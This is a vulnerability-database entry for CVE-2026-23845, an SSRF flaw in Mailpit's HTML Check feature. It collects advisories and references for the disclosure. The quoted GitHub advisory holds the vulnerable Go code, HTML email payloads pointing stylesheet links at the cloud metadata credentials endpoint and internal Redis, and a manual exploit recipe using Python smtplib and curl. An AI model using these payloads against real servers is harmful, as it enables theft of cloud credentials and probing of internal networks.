CVE-2026-23845
highpriority · track · 30EPSS 0.004 · 37 %ileDEEUUSEPSS · scored 2026-10-28
Mailpit is an email testing tool and API for developers. Versions prior to 1.28.3 are vulnerable to Server-Side Request Forgery (SSRF) via HTML Check CSS Download. The HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `<link rel="stylesheet" href="...">` tags to inline them for testing. Version 1.28.3 fixes the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.8–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (6)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-0146MailPit: Mehrere SchwachstellenDeutsch2026-01-19csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in MailPit ausnutzen, um Dateien zu manipulieren, und um Informationen offenzulegen.
- GHSA-6jxm-fv7w-rw5jMailpit has a Server-Side Request Forgery (SSRF) via HTML Check API2026-01-21ghsa · osvUS
### Server-Side Request Forgery (SSRF) via HTML Check CSS Download The HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `<link rel="stylesheet" href="...">` tags to inline them for testing. #### Affected Components - **Primary File:** `internal/htmlcheck/css.go` (lines 132-207) - **API Endpoint:** `/api/v1/message/{ID}/html-check` - **Handler:** `server/apiv1/other.go` (lines 38-75) - **Vulnerable Functions:** - `inlineRemoteCSS()` - line 132 - `downloadToBytes()` - line 193 - `isURL()` - line 221 #### Technical Details **1. Insufficient URL Validation (`isURL()` function):** ```go // internal/htmlcheck/css.go:221-224 func isURL(str string) bool { u, err := url.Parse(str) return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != "" } ``` **2. Unrestricted Download (`downloadToBytes()` function):** ```go // internal/htmlcheck/css.go:193-207 func downloadToBytes(url string) ([]byte, error) { client := http.Client{ Timeout: 5 * time.Second, } // Get the link response data resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation if err != nil { return nil, err } defer func() { _ = resp.Body.Close() }() if resp.StatusCode != 200 { err := fmt.Errorf("error downloading %s", url) return nil, err } body, err := io.ReadAll(resp.Body) // ⚠️ Downloads ENTIRE response if err != nil { return nil, err } return body, nil } ``` **3. Automatic CSS Processing:** ```go // internal/htmlcheck/css.go:132-187 func inlineRemoteCSS(h string) (string, error) { reader := strings.NewReader(h) doc, err := goquery.NewDocumentFromReader(reader) if err != nil { return h, err } remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes for _, link := range remoteCSS { attributes := link.Attr for _, a := range attributes { if a.Key == "href" { if !isURL(a.Val) { // ⚠️ Insufficient validation continue } if config.BlockRemoteCSSAndFonts { logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val) return h, nil } resp, err := downloadToBytes(a.Val) // ⚠️ Downloads from ANY URL if err != nil { logger.Log().Warnf("[html-check] failed to download %s", a.Val) continue } // Inlines the downloaded CSS styleBlock := &html.Node{ Type: html.ElementNode, Data: "style", DataAtom: atom.Style, } styleBlock.AppendChild(&html.Node{ Type: html.TextNode, Data: string(resp), // Downloaded content inserted }) link.Parent.AppendChild(styleBlock) } } } return doc.Html() } ``` #### Attack Vectors **Attack Vector 1: Cloud Metadata Credential Theft** Attacker sends HTML email with: ```html <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"> </head> <body>Legitimate email content</body> </html> ``` When HTML check is triggered: 1. Mailpit makes GET request to AWS metadata endpoint 2. Downloads IAM credentials as "CSS content" 3. Credentials logged or potentially leaked via error messages #### Proof of Concept A complete working exploit is provided in `ssrf_htmlcheck_poc.py`. **PoC Usage:** ```bash # Ensure Mailpit is running # SMTP: localhost:1025 # HTTP API: localhost:8025 # Run the exploit python3 ssrf_htmlcheck_poc.py ``` **PoC Workflow:** 1. **Starts SSRF listener** on port 8888 to detect callbacks 2. **Sends malicious HTML emails** containing: ```html <link rel="stylesheet" href="http://localhost:8888/malicious.css"> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> <link rel="stylesheet" href="http://127.0.0.1:6379/"> ``` 3. **Triggers HTML check** via API: `GET /api/v1/message/{ID}/html-check` 4. **Monitors callbacks** and analyzes responses 5. **Demonstrates exploitation** of: - Local listener (proves SSRF) - Cloud metadata endpoints - Internal services (Redis, etc.) - Private network ranges **Expected Output:** ``` ╔══════════════════════════════════════════════════════════════════════════════╗ ║ Mailpit SSRF PoC - HTML Check CSS Download Vulnerability ║ ║ Severity: MODERATE ║ ║ File: internal/htmlcheck/css.go:193-207 ║ ╚══════════════════════════════════════════════════════════════════════════════╝ [+] SSRF listener started on port 8888 [*] Testing SSRF with callback to local listener... ================================================================================ [*] Testing SSRF with target: http://localhost:8888/malicious.css ================================================================================ [+] Email sent with CSS link to: http://localhost:8888/malicious.css [+] Message ID: abc123xyz [*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check [+] HTML check completed (Status: 200) [SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 - [+] SUCCESS! SSRF confirmed - Received 1 callback(s): Path: /malicious.css User-Agent: Mailpit/dev ================================================================================ [*] Testing SSRF against internal/private targets... ================================================================================ ⚠️ Note: These may timeout or fail, but Mailpit WILL attempt the connection [+] Email sent with CSS link to: http://127.0.0.1:6379/ [+] Message ID: def456uvw [*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check [!] Request timed out - target may be blocking or slow ``` **Manual Testing:** ```bash # 1. Send malicious email cat << 'EOF' | python3 - <<SENDMAIL import smtplib from email.mime.text import MIMEText html = ''' <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> </head> <body>Test</body> </html> ''' msg = MIMEText(html, 'html') msg['Subject'] = 'SSRF Test' msg['From'] = 'test@test.com' msg['To'] = 'victim@test.com' with smtplib.SMTP('localhost', 1025) as smtp: smtp.send_message(msg) SENDMAIL EOF # 2. Get message ID MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID') # 3. Trigger SSRF curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"
- GO-2026-4345Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API in github.com/axllent/mailpit2026-02-03vendor · osvUS
Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API in github.com/axllent/mailpit
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (11)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-23845cnnvd
- https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfecnnvd
- https://github.com/axllent/mailpit/releasesPatchcnnvd
- https://github.com/axllent/mailpit/releases/tag/v1.28.3cnnvd
- https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5jcnnvd
- https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfeenisa_euvd
- https://github.com/axllent/mailpit/releases/tag/v1.28.3enisa_euvd
- https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5jenisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan